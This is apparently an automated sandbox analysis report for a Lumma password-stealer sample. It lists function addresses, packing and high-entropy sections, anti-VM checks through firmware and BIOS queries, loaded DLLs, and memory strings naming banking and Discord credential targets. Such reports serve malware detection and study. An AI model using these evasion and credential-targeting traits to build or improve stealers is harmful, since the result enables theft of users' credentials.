Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D1328	0_2_003D1328
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00529434	0_2_00529434
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D94BF	0_2_003D94BF
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F9494	0_2_003F9494
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F55A4	0_2_003F55A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004E1600	0_2_004E1600
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FD642	0_2_003FD642
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F9494	0_2_003F9494
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DD760	0_2_003DD760
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00411720	0_2_00411720
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00409940	0_2_00409940
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00401980	0_2_00401980
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004E1A40	0_2_004E1A40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00501A04	0_2_00501A04
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DDB20	0_2_003DDB20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F1B40	0_2_003F1B40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00409BA0	0_2_00409BA0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E5BD8	0_2_003E5BD8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0049DC0C	0_2_0049DC0C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00535D68	0_2_00535D68
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F9D00	0_2_003F9D00
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00515FF0	0_2_00515FF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D9F9C	0_2_003D9F9C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00411F80	0_2_00411F80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0053205C	0_2_0053205C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0053A048	0_2_0053A048
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0053601C	0_2_0053601C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DA270	0_2_003DA270
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0040E230	0_2_0040E230
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003EE298	0_2_003EE298
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00412380	0_2_00412380
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F26A0	0_2_003F26A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DA730	0_2_003DA730
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00412850	0_2_00412850
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0047697C	0_2_0047697C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FAA40	0_2_003FAA40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004DEAC8	0_2_004DEAC8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FAC04	0_2_003FAC04
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0040EC20	0_2_0040EC20
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004BEC28	0_2_004BEC28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003EECDE	0_2_003EECDE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DECC0	0_2_003DECC0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00402D80	0_2_00402D80
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004DED94	0_2_004DED94
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DADD0	0_2_003DADD0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003E6E10	0_2_003E6E10
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00412EB0	0_2_00412EB0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00596F40	0_2_00596F40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D6F60	0_2_003D6F60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004DEF24	0_2_004DEF24
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F6F82	0_2_003F6F82
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004131D0	0_2_004131D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004031DE	0_2_004031DE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DB260	0_2_003DB260
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003DF250	0_2_003DF250
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004132C0	0_2_004132C0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004133B0	0_2_004133B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003EF510	0_2_003EF510
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004035B0	0_2_004035B0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F762D	0_2_003F762D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00413720	0_2_00413720
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003F762D	0_2_003F762D
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FB7FE	0_2_003FB7FE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003FB7D9	0_2_003FB7D9
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0052F80C	0_2_0052F80C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004AF82C	0_2_004AF82C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_005338C4	0_2_005338C4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D38E0	0_2_003D38E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_003D7960	0_2_003D7960

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: String function: 003EC2A0 appears 154 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: String function: 003DC8C0 appears 67 times
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: String function: 00434D9C appears 122 times

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: Section: ZLIB complexity 0.9979495662811388
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: Section: ZLIB complexity 1.0011935763888888
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: Section: .data ZLIB complexity 0.9975373178785403

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@4/1

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080379791.0000000003BE6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2080816273.0000000003BC7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092620048.0000000003CC3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

ReversingLabs: Detection: 72%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Static file information: File size 1290240 > 1048576

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Unpacked PE file: 0.2.SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe.3d0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E8AE46 push esp; retf	0_3_00E8B179
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E8B933 pushfd ; iretd	0_3_00E8B935
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_3_00E8B912 pushfd ; iretd	0_3_00E8B935
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004D09C4 push 004D0A51h; ret	0_2_004D0A49
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0051C0E8 push 0051C114h; ret	0_2_0051C10C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0051C08C push 0051C0C4h; ret	0_2_0051C0BC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00500148 push 00500174h; ret	0_2_0050016C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00500110 push 0050013Ch; ret	0_2_00500134
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004FC114 push 004FC140h; ret	0_2_004FC138
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00500180 push 005001ACh; ret	0_2_005001A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004D81B4 push 004D81E0h; ret	0_2_004D81D8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004FC240 push 004FC26Ch; ret	0_2_004FC264
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0045C250 push 0045C29Ch; ret	0_2_0045C294
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004EC22C push 004EC258h; ret	0_2_004EC250
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0045C2D0 push 0045C2FCh; ret	0_2_0045C2F4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0045C2A0 push 0045C2CDh; ret	0_2_0045C2C5
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004842B4 push 004842F4h; ret	0_2_004842EC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00500314 push 00500340h; ret	0_2_00500338
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0045C308 push 0045C334h; ret	0_2_0045C32C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00458328 push 00458354h; ret	0_2_0045834C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00448454 push 004484A1h; ret	0_2_00448499
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_0045440C push ecx; mov dword ptr [esp], edx	0_2_00454411
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004F0508 push 004F0534h; ret	0_2_004F052C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004345F0 push 00434641h; ret	0_2_00434639
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_005145EC push 00514618h; ret	0_2_00514610
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004A462C push 004A466Eh; ret	0_2_004A4666
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004847F4 push 00484872h; ret	0_2_0048486A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004747BC push 004747E8h; ret	0_2_004747E0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004348AC push 004348D8h; ret	0_2_004348D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_004D095C push 004D09C2h; ret	0_2_004D09BA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Code function: 0_2_00434968 push 00434994h; ret	0_2_0043498C

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name: entropy: 7.997714729230857
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name: entropy: 7.636228005076095
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name: entropy: 7.9278998086211505
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name: entropy: 7.978359432501147
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Static PE information: section name: .data entropy: 7.985452413999655

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Window / User API: threadDelayed 1164

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe TID: 4296	Thread sleep count: 1164 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe TID: 7116	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe TID: 7116	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe

Code function: 0_2_0045B490 FindFirstFileW,

0_2_0045B490

Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092772961.0000000003CC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe, 00000000.00000003.2092976502.0000000003BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
